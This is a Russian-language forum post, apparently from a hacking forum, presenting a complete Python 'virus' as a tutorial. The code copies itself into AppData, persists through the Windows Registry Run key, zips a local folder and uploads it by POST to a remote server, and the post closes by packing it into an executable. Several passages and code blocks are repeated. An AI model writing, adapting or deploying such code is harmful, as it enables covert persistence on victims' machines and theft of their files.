- 238
- 248
- 21 Апр 2017
Перед шарагой нечего было делать, настрочил простенький вирь на питоне, что бы он
послужил вам примером/неким представлением "тёмной" области этого языка.
Добавим наш заражённый файл в какую-нибудь папку, где он не будет мозолить
пользователю глаза, я долго думать не стал, т.к это всего лишь пример и добавил его в
папку AppData.
Первым делом я решил закрепить наш файл в автозапуске операционной системе,
делал я это через реестр.Тут нам поможет модуль winreg.
В переменной мы установили путь до реестра, дальше добавили значение нашего вируса,
лучше назвать его как-то неприметно, но я во все услышание ознаменовал его 'Virus'.
И устанавливаем путь до файла (base_file).
Ну и тупо в три строчки напишем тело нашего вируса xD
Добавляем его в архив и отправляем на сервер с помощью post запроса.
В итоге у нас должно получиться что-то наподобие этого
Пакуем его в exe с помощью pyinstaller(в инете документации есть) и радуемся.
послужил вам примером/неким представлением "тёмной" области этого языка.
Добавим наш заражённый файл в какую-нибудь папку, где он не будет мозолить
пользователю глаза, я долго думать не стал, т.к это всего лишь пример и добавил его в
папку AppData.
Python:
directory = os.getenv("APPDATA") + r'/your_program/'
base_file = directory + os.path.basename(__file__)
if not os.path.exists(directory):
os.makedirs(directory)
shutil.copy(__file__, base_file)
Первым делом я решил закрепить наш файл в автозапуске операционной системе,
делал я это через реестр.Тут нам поможет модуль winreg.
Python:
path_to_reestr = OpenKey(HKEY_CURRENT_USER,
r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
0, KEY_ALL_ACCESS)
SetValueEx(path_to_reestr, 'Virus', 0, REG_SZ, base_file)
CloseKey(path_to_reestr)
В переменной мы установили путь до реестра, дальше добавили значение нашего вируса,
лучше назвать его как-то неприметно, но я во все услышание ознаменовал его 'Virus'.
И устанавливаем путь до файла (base_file).
Ну и тупо в три строчки напишем тело нашего вируса xD
Python:
# Добавляем папку в аврхив
shutil.make_archive(r'Имя архива', 'zip', r'Папка')
# Отправляем архив на сервер
files = {'Имя архива': open('Имя архива', 'rb')}
r = requests.post('http://httpbin.org/post', files=files)
Добавляем его в архив и отправляем на сервер с помощью post запроса.
В итоге у нас должно получиться что-то наподобие этого
Python:
import shutil
import os
import sys
import requests
from winreg import *
def autorun():
# Путь, который будет светиться в авторане
directory = os.getenv("APPDATA") + r'/your_program/'
base_file = directory + os.path.basename(__file__)
if not os.path.exists(directory):
os.makedirs(directory)
shutil.copy(__file__, base_file)
# Путь в реестре
path_to_reestr = OpenKey(HKEY_CURRENT_USER,
r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
0, KEY_ALL_ACCESS)
# Установить программу "Virus" в автозагрузку
SetValueEx(path_to_reestr, 'Virus', 0, REG_SZ, base_file)
# Закрыть реестр
CloseKey(path_to_reestr)
def addToZip():
# Добавляем папку в аврхив
shutil.make_archive(r'C:\\file', 'zip', r'C:\xampp')[/SPOILER]
# Отправляем архив на сервер
files = {'file.zip': open('C:\\file.zip', 'rb')}
r = requests.post('http://httpbin.org/post', files=files)
autorun()
addToZip()
Пакуем его в exe с помощью pyinstaller(в инете документации есть) и радуемся.